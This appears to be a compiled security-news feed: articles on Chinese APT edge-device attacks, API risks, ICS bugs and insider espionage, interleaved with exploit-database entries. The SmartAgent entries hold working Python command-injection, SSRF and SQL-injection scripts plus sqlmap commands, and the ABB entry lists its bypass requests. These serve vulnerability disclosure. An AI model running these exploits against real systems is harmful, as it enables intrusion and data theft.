The sophisticated Chinese cyberattacks of today rest on important groundwork laid during the pandemic and before.

Source: Cinematic via Alamy Stock Photo

Chinese threat actors are operating at a higher level today than ever before, thanks to years of trial-and-error-style attacks against mass numbers of edge devices.

Networking devices are a known favorite of China's advanced persistent threats (APT), and why wouldn't they be? Sitting on the outer banks of an enterprise network, they not only allow threat actors a way in, they also double as useful nodes for botnets. They offer opportunities for lateral movement, they often store sensitive data, and network defenders have a harder time seeing into and securing them than they do other kinds of network computers. 

Over time, Chinese APTs have been improving on their edge attack capabilities. Since 2018, Sophos has traced a distinct evolution in tactics: from naive, low-level attacks came more sophisticated campaigns against massive numbers of devices, followed by a period of more targeted attacks against specific organizations.

**The First Salvo in a Long Cyber War**

On Dec. 4, 2018, Sophos analysts discovered a suspicious device running network scans against Cyberoam, a Sophos subsidiary based in India. In some ways the attack was run of the mill, using commodity malware and common living-off-the-land (LotL) tactics.

Other evidence, though, suggested that this was something different. For example, the attacker utilized a novel technique to pivot from on-premises devices to the cloud, via an overly permissive identity and access management (IAM) configuration to the Amazon Web Services Systems Manager (AWS SM).

Related:Dark Reading News Desk Live From Black Hat USA 2024

"AWS SM was quite a new technology, and it was quite a subtle misconfiguration," Sophos chief information security officer (CISO) Ross McKerchar recalls. "That was one of the first indicators that we were up against an interesting adversary." 

Later, the attackers deployed a novel rootkit called Cloud Snooper. Cloud Snooper was so stealthy that two third-party consultancies missed it in their analysis, before Sophos eventually picked up on its presence.

The goal of the attack, it seemed, was to collect information useful for future attacks against edge devices. It was a harbinger of what was to come.

**A Five-Year Evolution in Chinese TTPs**

Chinese cyber threats blossomed from roughly 2020 to 2022, as attackers focused on identifying and breaching edge devices en masse.

It worked thanks to the large quantity of devices in the wild that have Internet-facing portals. Typically, these interfaces are designed for internal use. With COVID-19, though, more and more companies were allowing employees to connect from the open Web. This provided a window for hackers with the right kind of credentials or vulnerabilities to get in.

Related:The Overlooked Importance of Identifying Riskiest Users

It helped, too, that around that same time — July 2021 — China's Cyberspace Administration passed the Regulations on the Management of Network Product Security Vulnerability Information rules. These mandates forced cybersecurity researchers to report vulnerabilities to the country's Ministry of Industry and Information Technology (MIIT) before disclosing to any other parties. "It was designed to co-opt the whole country — private citizens included — into being assets for PRC objectives," McKerchar says. Sophos argues with medium confidence that two notable campaigns during this period were facilitated by vulnerabilities responsibly disclosed by researchers at universities in the Chinese city of Chengdu.

Chinese APTs weren't only interested in using compromised devices to attack the companies from whence they came. With varying degrees of success, they would often try to incorporate the devices into broader operational relay box networks (ORBs). These ORBs, in turn, offered higher-level threat actors more sophisticated infrastructure from which to launch more advanced attacks and hide any trace of their origin.

Related:FBI, Partners Disrupt RedLine, Meta Stealer Operations

**What's Happening Now**

After this noisy period, around the middle of 2022, Chinese APTs shifted yet again. Ever since, they've been focused on much more deliberate and targeted attacks against organizations of high value: government agencies, military contractors, research and development firms, critical infrastructure providers, and the like.

These attacks follow no single pattern, involving known and zero-day vulnerabilities, userl and and UEFI bootkits, and whatever other elements pair with active, hands-on-keyboard-type attacks. They almost certainly wouldn't be as sophisticated as they are, though, without all of the years of trial and error that occurred before. Evidence to that is just how effective these threat actors are at overcoming cybersecurity defenses. In recent years, they've demonstrated an ability to sabotage hotfixes for vulnerable devices, and block evidence of their activity from reaching Sophos analysts.

"There's a clear arc of moving to stealthier and stealthier persistence in the activity that we've uncovered," McKerchar says.

He explains how "the first malware, whilst it was bespoke for our devices, it wasn't really trying to hide. They were just banking on nobody looking. In the second wave of attacks they learned a bunch of lessons, remarkably quickly. The malware wasn't explicitly trying to hide, it was just smaller, and naturally able to blend in a bit more. Then after that, they started kind of pulling out more interesting tactics: Trojan class files, memory-resident malware, rootkits, bootkits."

He concludes, "It'd be hard to speculate on what's next, except \[that\] they're going to be improving again."

**About the Author**

Nate Nelson is a freelance writer based in New York City. Formerly a reporter at Threatpost, he contributes to a number of cybersecurity blogs and podcasts. He writes "Malicious Life" -- an award-winning Top 20 tech podcast on Apple and Spotify -- and hosts every other episode, featuring interviews with leading voices in security. He also co-hosts "The Industrial Security Podcast," the most popular show in its field.

Chinese APTs Cash In on Years of Edge Device Attacks

Misconfigurations, weak authentication, and logic flaws are among the main drivers of API security risks at many organizations.

Source: Who is Danny via Shutterstock

Security vulnerabilities in the application programming interfaces (APIs) powering modern digital services and applications have emerged as a major threat to enterprise systems and data.

A recent report from Wallarm shows a 21% increase in API-related flaws between this year's second and third quarters. Nearly one-third (32%) were associated with cloud infrastructure and cloud-native applications and services. In addition to the increased volume, a high proportion of the vulnerabilities that Wallarm reviewed had severity scores of 7.5 or higher, indicating growing risk for organizations from API use.

"In Q3 we saw API breaches driven by authentication and authorization issues, leaked API data, and classic injection attacks," says Wallarm founder and CEO Ivan Novikov.

Significantly, while many of the vulnerabilities in OWASP's list of Top 10 API vulnerabilities are server-focused, Wallarm's data shows an uptick in client-side flaws, like OAuth misconfiguration and cross-site issues, Novikov says.

"It's concerning because defenders are resource-constrained and need to focus on the most important types of attacks," he says.

A continuing enterprise emphasis on API integration and functionality — over security — is exacerbating the issue. Just 37% of organizations have formally incorporated security testing into their API life cycle management practices, a study by Postman found earlier this year.

"APIs are now a top target for malicious actors, making security and observability critical," the report noted.

What are the major contributors to API security risks? And what should organizations be doing to mitigate them?

**Misconfigured APIs**

Many API security issues in recent years have stemmed from relatively easily avoidable misconfigurations. Common examples include inadequate authentication and authorization, lack of input validation, improper rate limiting, inadequate logging and monitoring, and the exposure of sensitive data through error messages. Such misconfigurations can have severe consequences.

For instance, Broken Object Level Authorization — when an API does not properly validate user access to resources — can allow attackers to manipulate object IDs to access unauthorized data, says Ankit Sobti, co-founder and CTO of Postman. Similarly, Broken User Authentication vulnerabilities — when an API fails to enforce proper authentication — often allow attackers to bypass authentication checks and gain unauthorized access to endpoints.

Organizations can mitigate these issues by implementing security best practices, such as strict authorization checks, role-based access control, multifactor authentication, server-side data filtering, and reviewing API responses for unnecessary data.

"Without proper rate limiting, APIs become vulnerable to abuse through techniques like brute-force attacks or denial-of-service attacks, which can overwhelm the service," Sobti stresses.

The vast majority of API-related breaches over the past few years have resulted from poor posture governance, says Nick Rago, field CTO at Salt Security. In many instances, "the barrier to breach was pretty low, and the attacker did not need any herculean effort to take advantage of a misconfigured API."

Rago attributes the problem to a lack of proper oversight over API development and management.

Building a governance framework around the creation of a corporate posture standard is an important first step, he says. To alleviate risks, organizations need to implement capabilities for discovering API assets, assessing their security posture, and remediating noncompliance as needed, Rago adds.

**Badly Designed APIs**

Poorly designed APIs are another major driver of API security incidents; these APIs do everything they are supposed to do, except in a manner that an adversary can take advantage of, Rago says.

"Think of APIs that return more information than an application needs or APIs that can be scraped for information over time," he explains.

Other examples include APIs that use unvalidated SQL inputs, expose implementation details, are too complex and bloated, handle errors in an insecure manner, or have inconsistent naming and structure.

In addition, a poorly designed API can sometimes ignore business logic inconsistencies, Rago says. Examples include ecommerce APIs that allow users to manipulate prices or make modifications that enable overly permissive access to accounts and transactions. Imperva's "State of API Security 2024" report, in fact, identified business logic abuse as last year's top attack on APIs. These attacks accounted for 27% of all API related attacks in 2023, an increase of some 10% over the prior year.

"Both abuse of badly designed APIs or attacks leveraged against a business logic vulnerability can be addressed by leveraging specialized behavioral threat protection that can decipher not just anomalous usage but discern malicious intent behind an API consumer," Rago notes.

As Imperva vice president of API security Lebin Cheng wrote in an op-ed earlier this year, poorly made API design decisions can have a lasting impact on organizations and their customers. APIs, for instance, could cause serious performance bottlenecks if developers fail to consider scalability requirements when designing them. Similarly, by focusing mostly on business needs, developers can often overlook common security issues, such as buffer overflow errors, during design time, Cheng wrote. 

"The issue of poor API design is further compounded by the fact that there are no strict standards for how APIs should be designed," he said. "This leaves it up to individual developers to determine the best way to implement and develop APIs, which means that poor design decisions can easily slip through the cracks."

**Lack of Visibility**

APIs have emerged as a top attack vector for threat actors because of their near ubiquitous use. Imperva's research showed organizations, on average, have 613 API endpoints per account. The security vendor found API traffic to account for 71% of all Web traffic in 2023, with the average enterprise making 1.5 billion API calls per year.

Despite the proliferating use and corresponding risk exposure, many organizations don't have enough visibility over their APIs.

"New methods are required to discover and test APIs," says Kimm Yeo, solutions manager at Black Duck.

Organizations need to start thinking about API security in a more proactive manner, Yeo advocates. That means implementing capabilities to discover and inspect APIs earlier in the software development life cycle, she says. The goal should be to ensure APIs and applications are continuously tested before they get into production.

"Today's API security solutions largely focus on implementing API discovery during production, \[where\] any critical alerts produced are difficult to trace to the code," she says. This can make it impossible for developers to fix identified issues, Yeo adds.

The pressing issue for most organizations is their lack of inventory of all externally facing APIs, says Krishna Vishnubhotla, vice president of product strategy at Zimperium.

"It's critical to act quickly as bad actors are exploiting this gap," he says. "The first step is to urgently discover and inventory all these public APIs, followed by immediate measures to secure them.

**Inadequate Security Testing**

Many organizations are failing to prioritize API security adequately and often underestimate the unique risks APIs pose. Postman's survey found just 37% of organizations currently do automated scanning and regular penetration tests to try and catch API vulnerabilities earlier in the development life cycle. Relatively few have integrated security testing and checks in their API development process or centralized API monitoring capabilities.

Organizations that embrace API-first strategies — where APIs are a priority focus during the software planning, design, architecture, and development process — are seeing better success on the API security front, says Salt Security's Rago.

"Those organizations typically enforce 'spec-first development,' meaning an API must be 'blueprinted' with Swagger or OAS and approved before a line of code is written," he says. "You need to blueprint the hospital first and validate its construction against the plan before you let patients in. Seems obvious, but in most organizations that is still not the way it works."

API risks fall under two big categories: access and availability, Wallarm's Novikov says. Attackers either gain access to something they shouldn't or they can take an API offline by impacting its availability.

"There are lots of technical details about how they might accomplish these objectives, but they all bubble up to these two outcomes," Novikov says.

At a high level, the key protections against these risks are strong authentication and authorization across all API endpoints, he says.

"That means knowing all the APIs you have, which should require authentication, strictly checking authorization on the server side, and implementing advanced rate limiting to slow attackers down," he advises. "These mitigations are best practices, but that doesn't mean they're common practices."

**About the Author**

Jai Vijayan is a seasoned technology reporter with over 20 years of experience in IT trade journalism. He was most recently a Senior Editor at Computerworld, where he covered information security and data privacy issues for the publication. Over the course of his 20-year career at Computerworld, Jai also covered a variety of other technology topics, including big data, Hadoop, Internet of Things, e-voting, and data analytics. Prior to Computerworld, Jai covered technology issues for The Economic Times in Bangalore, India. Jai has a Master's degree in Statistics and lives in Naperville, Ill.

4 Main API Security Risks Organizations Need to Address

Factory automation software from Mitsubishi Electric and Rockwell Automation could be subject to remote code execution (RCE), denial-of-service (DoS), and more.

Source: frans lemmens via Alamy Stock Photo

Critical security vulnerabilities affecting factory automation software from Mitsubishi Electric and Rockwell Automation could variously allow remote code execution (RCE), authentication bypass, product tampering, or denial-of-service (DoS).

That's according to the US Cybersecurity and Infrastructure Security Agency (CISA), which warned yesterday that an attacker could exploit the Mitsubishi Electric bug (CVE-2023-6943, CVSS score of 9.8) by calling a function with a path to a malicious library while connected to the device — resulting in authentication bypass, RCE, DoS, or data manipulation.

The Rockwell Automation bug (CVE-2024-10386, CVSS 9.8), meanwhile, stems from a missing authentication check; a cyberattacker with network access could exploit it by sending crafted messages to a device, potentially resulting in database manipulation.

The critical vulnerabilities are two out of several issues affecting Mitsubishi's and Rockwell Automation's smart-factory portfolios, all listed in CISA's Halloween disclosure. Both industrial control systems (ICS) suppliers have issued mitigations for manufacturers to follow in order to avoid future compromise.

The noncritical bugs include:

*   An out-of-bounds read that could result in DoS (CVE-2024-10387, CVSS 7.5) also affects the Rockwell Automation FactoryTalk ThinManager.
    
*   A remote unauthenticated attacker may be able to bypass authentication in Mitsubishi Electric FA Engineering Software Products by sending specially crafted packets (CVE-2023-6942, CVSS 7.5). And the Mitsubishi Electric portfolio is also vulnerable to several lower-severity bugs, CISA noted.
    
*   An authentication bypass vulnerability in the Mitsubishi Electric MELSEC iQ-R Series/iQ-F Series (CVE-2023-2060, CVSS 8.7) exists in its FTP function on EtherNet/IP modules. Weak password requirements could allow a remote, unauthenticated attacker to access the module via FTP by dictionary attack or password sniffing. Meanwhile, several other lower-severity issues also affect the platform, CISA noted.
    

Related:Dark Reading Confidential: Pen-Test Arrests, 5 Years Later

Manufacturers should apply patches and mitigations as soon as possible, given that smart factories are among the most-targeted ICS sectors. The news also comes as nation-state attacks on US critical infrastructure have ramped up, with CISA warning that both Russian and Chinese advanced persistent threats (APTs) show no signs of letting up their assaults on utilities, telecoms, and other high-value targets. Canada as well recently warned of sustained cyber assaults from China on its critical infrastructure footprint.

Related:IT Security Centralization Makes the Use of Industrial Spies More Profitable

**About the Author**

Tara Seals has 20+ years of experience as a journalist, analyst and editor in the cybersecurity, communications and technology space. Prior to Dark Reading, Tara was Editor in Chief at Threatpost, and prior to that, the North American news lead for Infosecurity Magazine. She also spent 13 years working for Informa (formerly Virgo Publishing), as executive editor and editor-in-chief at publications focused on both the service provider and the enterprise arenas. A Texas native, she holds a B.A. from Columbia University, lives in Western Massachusetts with her family and is on a never-ending quest for good Mexican food in the Northeast.

Critical Auth Bugs Expose Smart Factory Gear to Cyberattack

As organizations centralize IT security, the risk of espionage is silently becoming a more profitable threat.

Source: Cagkan Sayin via Alamy Stock Photo

COMMENTARY

In recent years, large-scale financial and reputational damages have taught organizations the value of IT security. From corporations to universities, many organizations employ advanced security measures, such as implementing multifactor authentication, conducting regular ISO 27001 audits, providing social engineering training, and even conducting penetration tests and red-team exercises. Beyond this, to prevent unaffiliated devices from roaming freely in their networks, many organizations ask individuals to register their devices and apply security policies on them, such as using complex passwords. 

This is where the game suddenly changes: Security decisions being centralized completely to the organization's IT team poses significant risks. Specifically, our key argument is that this issue will likely increase the use of espionage techniques to compromise systems. 

Consider the following scenario: An executive of a large organization enrolls in a part-time master's program. To access university resources and emails, she connects her personal Windows laptop to the university's network (i.e., Settings > Accounts > Access work or school). Now, her laptop is managed by the university's mobile device management (MDM) system. If she asks about this, the IT team will assure her that this setup is mainly for ensuring updates and strong password policies — and this is all true. 

But what she probably will not be told is that now they have the technical capability to do much more. Many IT teams self-impose limitations on what they can do bring-your-own-device (BYOD) situations to respect user privacy. However, these limitations are policy-based and can easily be reconfigured by a rogue employee. For instance, if such an individual decides to install a program, wipe her disks, or run a script to steal her files, they can adjust the MDM policies to do so. Worse yet, an IT team member who has gone rogue is not only able to do anything she can do on her machine but can also do anything she can do on her company's network. 

**Risk Across Sectors**

While we used the example of a university in this case, obviously this scenario is not limited to educational institutions; The same risks exist across sectors such as healthcare, corporations, and even gaming. Whenever an IT team is allowed to centrally control IT security, such as through an MDM system, there is potential for abuse. 

Given this, traditional espionage techniques — in particular, planting an employee into the IT team or broader organization — become a viable model for criminal enterprises. In fact, unlike most other criminal endeavors that offer similar levels of potential monetary gains (e.g., stealing from a bank), this is not only less risky but also requires much less personnel (e.g., just one individual who deceives their way into the IT team). 

This is because, in most cases, espionage completely bypasses security controls, by capitalizing on the trust placed in IT teams. In contrast, trying to hack into a hardened system comes with all kinds of hurdles. For instance, you can try to use a zero-day exploit, but it would cost exorbitant amounts of money. Exploit brokers such as Zerodium pay large sums (e.g., $2.5 million) to buy a zero-day, and then add their profits to the sum while selling it. In contrast, the price of planting a spy, especially within a lower-risk environment like a school or public hospital, is significantly lower. Furthermore, planting a spy in the organization can provide information and access for extended periods. 

Therefore, this trend toward centralized IT control makes the use of industrial spies a more profitable and less risky proposition. After all, how many organizations — let alone universities, schools, or public hospitals — can effectively root out a highly trained professional spy embedded within their IT team? 

Furthermore, this centralization trend is expanding beyond enterprise environments. For example, many multiplayer games employ anti-cheating measures that operate at the kernel level, granting full access to the gaming company's IT team. One way to hack hundreds of thousands of users, therefore, is hiring a sophisticated team of hackers to reverse engineer the anti-cheat engine for countless hours to find a zero-day vulnerability. Generally, though, planting someone into the gaming company is a much cheaper alternative. 

**How Do We Design Our Systems Better?**

In response, we need to improve the design of our systems in at least three ways.

*   First, systems must be designed with decentralization in mind; highly centralized systems come with the threat of a single point of critical failure.
    
*   Second, information security should not be confined to IT teams; we have to embed the zero-trust mindset into all organizational functions, ranging from HR (e.g., recruitment practices) to managerial decision-making.
    
*   Finally, for IT admins today, the top-level concern is the breach of the servers and domain controllers. However, unwarranted access to personal devices must become another top concern beyond the compromise of the organization's own servers. 
    

Ultimately, we must recognize that the centralization of IT security elevates espionage to a critical threat, marking the next phase in the evolution of information security. 

**About the Authors**

Reader (Associate Professor) in Digital Innovation and Information Security, King's College London

Aybars Tuncdogan is a reader (associate professor) in digital innovation and information security at King’s College London. He is also a research affiliate of the King’s AI Institute and a member of both the Cybersecurity Research Centre (King’s Informatics Department) and the Cyber Security Research Group (King’s War Studies Department). 

Lecturer (Assistant Professor) in Marketing, University of Sussex

Fulya Acikgoz is a lecturer (assistant professor) in marketing at the University of Sussex. Her research covers a wide range of topics with a particular focus on technology and innovation marketing and management in different contexts. Her work has been published in high-impact journals. She is also the co-author of the book Blockchain for Tourism and Hospitality Industries.

IT Security Centralization Makes the Use of Industrial Spies More Profitable

ABB Cylon Aspect version 3.08.01 has a vulnerability in caldavInstall.php, caldavInstallAgendav.php, and caldavUpload.php files, where the presence of an EXPERTMODE parameter activates a badassMode feature. This mode allows an unauthenticated attacker to bypass MD5 checksum validation during file uploads. By enabling badassMode and setting the skipChecksum parameter, the system skips integrity verification, allowing attackers to upload or install altered CalDAV zip files without authentication. This vulnerability permits unauthorized file modifications, potentially exposing the system to tampering or malicious uploads.

    ABB Cylon Aspect 3.08.01 (badassMode) File Upload MD5 Checksum BypassVendor: ABB Ltd.Product web page: https://www.global.abbAffected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio                  Firmware: <=3.08.01Summary: ASPECT is an award-winning scalable building energy managementand control solution designed to allow users seamless access to theirbuilding data through standard building protocols including smart devices.Desc: The ABB BMS/BAS system has a vulnerability in caldavInstall.php,caldavInstallAgendav.php, and caldavUpload.php files, where the presenceof an EXPERTMODE parameter activates a badassMode feature. This mode allowsan unauthenticated attacker to bypass MD5 checksum validation during fileuploads. By enabling badassMode and setting the skipChecksum parameter, thesystem skips integrity verification, allowing attackers to upload or installaltered CalDAV zip files without authentication. This vulnerability permitsunauthorized file modifications, potentially exposing the system to tamperingor malicious uploads.Tested on: GNU/Linux 3.15.10 (armv7l)           GNU/Linux 3.10.0 (x86_64)           GNU/Linux 2.6.32 (x86_64)           Intel(R) Atom(TM) Processor E3930 @ 1.30GHz           Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz           PHP/7.3.11           PHP/5.6.30           PHP/5.4.16           PHP/4.4.8           PHP/5.3.3           AspectFT Automation Application Server           lighttpd/1.4.32           lighttpd/1.4.18           Apache/2.2.15 (CentOS)           OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)           OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)Vulnerability discovered by Gjoko 'LiquidWorm' Krstic                            @zeroscienceAdvisory ID: ZSL-2024-5860Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5860.php21.04.2024--$ cat project                 P   R   O   J   E   C   T                        .|                        | |                        |'|            ._____                ___    |  |            |.   |' .---"|        _    .-'   '-. |  |     .--'|  ||   | _|    |     .-'|  _.|  |    ||   '-__  |   |  |    ||      |     |' | |.    |    ||       | |   |  |    ||      | ____|  '-'     '    ""       '-'   '-.'    '`      |____░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░  ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░                                                                     ░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░          ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░          ░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░         ░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░                                                                                                                                                              $ head caldavInstall.php caldavInstallAgendav.php==> caldavInstall.php <==<?php$badassMode = false;if (isset($_GET["EXPERTMODE"])) {    $badassMode = true;}?><html><head>==> caldavInstallAgendav.php <==<?php$badassMode = false;if (isset($_GET["EXPERTMODE"])) {    $badassMode = true;}?><html><head>1. GET /caldavInstall.php?EXPERTMODE (FE)2. GET /caldavInstallAgendav.php?EXPERTMODE (FE)3. POST /caldavUpload.php -d "skipChecksum=1" (BE)

ABB Cylon Aspect 3.08.01 File Upload MD5 Checksum Bypass

SmartAgent version 1.1.0 suffers from an unauthenticated remote code execution vulnerability in youtubeInfo.php.

    # Exploit Title: SmartAgent v1.1.0 - Unauthenticated Remote Code Execution# Date: 01-10-2024# Exploit Author: Alter Prime# Vendor Homepage: https://smarts-srlcom.com/, https://smartagent.com# Version: Build v1.1.0# Tested on: Kali LinuxAn unauthenticated user can access a php script called https://smarts-srlcom.com/youtubeInfo.php from the vulnerable web application and through a POST request with vulnerable parameter "youtubeUrl" a command injection vulnerability could be triggered.Vulnerable code snippet from youtubeInfo.php:"""$youtubeUrl=$_POST["youtubeUrl"];$command = 'youtube-dl -j ' . $youtubeUrl;echo  shell_exec($command);"""Steps To Reproduce:1. Run the below python script on a vulnerable web application instance of SmartAgent v1.1.0#Python Exploitimport requestsurl = "https://smarts-srlcom.com?youtubeInfo.php"command = input("Enter the command you want to run $EX: id$: ")postdata = {    "youtubeUrl": ";" + command}response = requests.post(url, data=postdata, verify=False)print(response.text)

SmartAgent 1.1.0 Remote Code Execution

SmartAgent version 1.1.0 suffers from a server-side request forgery vulnerability.

    # Exploit Title: SmartAgent v1.1.0 - Server-Side Request Forgery (SSRF)# Date: 01-10-2024# Exploit Author: Alter Prime# Vendor Homepage: https://smarts-srlcom.com/, https://smartagent.com# Version: Build v1.1.0# Tested on: Kali LinuxAn unauthenticated user can trigger the web server to perform web requests to the localhost via a GET request to the vulnerable script  https://smarts-srlcom.com/FB/getFbVideoSource.php?url=http://127.0.0.1:80.The GET request includes the vulnerable parameter "url".Steps To Reproduce:1. Run the below python script on a vulnerable web application instance of SmartAgent v1.1.0#Python Exploitimport requestsurl = "https://smartagent.[client].com/FB/getFbVideoSource.php"port = input("Enter the port you want to check: ")parameter = {  "url": "http://127.0.0.1:" + port}response = requests.get(url, data=parameter, verify=False)if response.status_code == 200:    print(f"Port {port} is open on the server")else:    print(f"Port {port} closed")

SmartAgent 1.1.0 Server-Side Request Forgery

SmartAgent version 1.1.0 suffers from multiple unauthenticated remote SQL injection vulnerabilities.

# Exploit Title: SmartAgent v1.1.0 - Unauthenticated SQL Injection (SQLi)  
# Date: 01-10-2024  
# Exploit Author: Alter Prime  
# Vendor Homepage: https://smarts-srlcom.com/, https://smartagent.com  
# Version: Build v1.1.0  
# Tested on: Kali Linux

An unauthenticated user can inject SQL queries through a POST request to the vulnerable script https://smarts-srlcom.com/privateArea/common/tests/interface.php.

The POST request includes the folowing parameters "action=exportNetworkDate&id=1111" and vulnerable parameter is "id".

Steps To Reproduce:  
1. Run the below python script on a vulnerable web application instance of SmartAgent v1.1.0

#Python Exploit

import requests

url = "https://smartagent.[client].com/privateArea/common/tests/interface.php"  
sqlcommand = input("Enter the command you want to run $EX: UNION SELECT @@version$: ")

postdata = {  
    "action": "exportNetworkDate",  
  "id": "1111" + sqlcommand  
}

response = requests.post(url, data=postdata, verify=False)  
print(response.text)

2. Alternatively SQLMAP could pe used on the same endpoint 

sqlmap -u https://smartagent.[client].com/privateArea/common/tests/interface.php. --data "action=exportNetworkDate&id=1111" -p "id"

# Exploit Title: SmartAgent v1.1.0 - Unauthenticated SQL Injection (SQLi)  
# Date: 01-10-2024  
# Exploit Author: Alter Prime  
# Vendor Homepage: https://smarts-srlcom.com/, https://smartagent.com  
# Version: Build v1.1.0  
# Tested on: Kali Linux

An unauthenticated user can inject SQL queries through a GET request to the vulnerable script https://smarts-srlcom.com/privateArea/common/qoe/sendPushManually.php?id=123.

The GET request includes the vulnerable parameter "id".

Steps To Reproduce:  
1. Run the below python script on a vulnerable web application instance of SmartAgent v1.1.0

#Python Exploit

import requests

url = "https://smartagent.[client].com/privateArea/common/qoe/sendPushManually.php"  
sqlcommand = input("Enter the command you want to run $EX: UNION SELECT @@version$: ")

parameter = {  
  "id": "123" + sqlcommand  
}

response = requests.get(url, data=parameter, verify=False)  
print(response.text)

2. Alternatively SQLMAP could pe used on the same endpoint 

sqlmap -u  https://smartagent.[client].com/privateArea/common/qoe/sendPushManually.php?id=123 -p "id"

# Exploit Title: SmartAgent v1.1.0 - Unauthenticated SQL Injection (SQLi)  
# Date: 01-10-2024  
# Exploit Author: Alter Prime  
# Vendor Homepage: https://smarts-srlcom.com/, https://smartagent.com  
# Version: Build v1.1.0  
# Tested on: Kali Linux

An unauthenticated user can inject SQL queries through a GET request to the vulnerable script https://smarts-srlcom.com/recuperaLog.php?client=1111.

The GET request includes the vulnerable parameter "client".

Steps To Reproduce:  
1. Run the below python script on a vulnerable web application instance of SmartAgent v1.1.0

#Python Exploit

import requests

url = "https://smartagent.[client].com/recuperaLog.php"  
sqlcommand = input("Enter the command you want to run $EX: UNION SELECT @@version$: ")

parameter = {  
  "client": "1111" + sqlcommand  
}

response = requests.get(url, data=parameter, verify=False)  
print(response.text)

2. Alternatively SQLMAP could pe used on the same endpoint 

sqlmap -u https://smartagent.[client].com/recuperaLog.php?client=1111 -p "client"

SmartAgent 1.1.0 SQL Injection

When a CISO can articulate risk in context to the business as a whole, development teams can better prioritize their activities.

Source: JHENG YAO LIN via Alamy Stock Photo

COMMENTARY

When it comes to making a difference to business performance, chief information officers (CIOs) are investing in application development and improvements to software. According to Gartner, 60% of companies plan to spend more on software, with 52% of companies increasing their spend on software to improve productivity. Analyst firm Omdia points to modernization and investment in applications as a critical goal, due to the cost of maintaining existing technology stacks over time. 

For chief information security officers (CISOs), these investments represent a significant challenge. How can you keep up with the relentless pace of change taking place, where new IT infrastructures are created, used, and torn down every minute, every day? One CISO I discussed this with described it as like trying to dam a river — impossible to achieve, a thankless task, and one that leaves you considerably more uncomfortable than when you started. Worse, trying to impose standards left them feeling like the "department of no," and antagonistic to the business's overall goals, affecting their internal standing and making them more likely to be ignored. 

So, we can't go against this pace of change. Instead, how can we understand developer velocity and the goals that these teams have? How can we get ahead of these changes so we can apply security at the source, and what is in that approach for us? 

**Starting at the Beginning**

Understanding the software development process in your organization is a good place to begin looking at how you can insert security measures into the mix. How do those teams manage their requests, requirements, and changes over time, and how does their life cycle work? How do those teams work faster and more efficiently, and what steps are they taking to improve their performance?  

For CISOs, each phase in the software development process is a potential place to insert security into the conversation. Yet many developers are wary of security asks. The reason for this? Security often gives them huge volumes of change requests, with no guidance beyond "This needs to be fixed." This can lead to resentment at the additional work, as the business is already asking them to deliver new functionality or services. 

To improve this situation, look at the overall goals that all the teams involved have to deliver on, and what information can directly benefit them. Developers want to build, and the business wants those results as fast as possible. For CISOs, the guidance here is to enable that pace of change, or at least get out of the way. To make this work in practice, security teams must look at what they can automate so that it delivers security results directly into the developer workflow. 

Developers themselves live in code. They don't want any manual tasks in their processes, let alone in processes that are dictated to them by outside teams. To get over this hurdle, put your security approach into that code workflow so that it gets applied by default to any part of the development environment within those tools that are already in use. A security defect can then be flagged for fixing to that developer in the same way as a code component not compiling properly, or an API integration failing.  

**Moving Up the Stack**

The security sector has been keen to promote more secure development and design practices in software. The promise here is that fixing issues earlier in the process is cheaper in the long run than doing so later in the process, whether that is in production or in later test and deployment phases. The secure-by-design mantra is brilliant in theory. However, developers are moving so fast that this framework will be hard to apply and keep up on its own.

Instead, we must treat software security as a methodology. We can still support developers in making changes as fast as the business needs, let developers know about issues, and then try to fix those problems before they hit production. However, that is not enough on its own. One CISO in France let me know that he had successfully implemented security checks and controls for the company's containerized applications only during the build phase. In theory, this would mean that any image developers deployed should be secure through into production without the requirement for checks in later stages. Yet his team members found that they still faced problems in production, and vulnerabilities and misconfigurations were still occurring. The issue was that those containers would drift over time, where they would then need to be remediated, or as sometimes happens, the risk is accepted and those images are in run time with known issues.  

This is where CISOs can come into their own — by providing context. Articulating risk in context to the business as a whole, or to specific platforms or departments, allows development teams to prioritize their activities. Additionally, it empowers teams to continuously improve their coding practices and build more secure applications faster. Security teams are then only providing guard rails versus slowing down developer velocity — security can then get out of the way, while still reducing risk and putting remediation efforts where they are needed. The end result? When the CISO really needs to communicate around risk, the rest of the business is more likely to pay attention. 

**About the Author**

Managing Director for EMEA North, Qualys

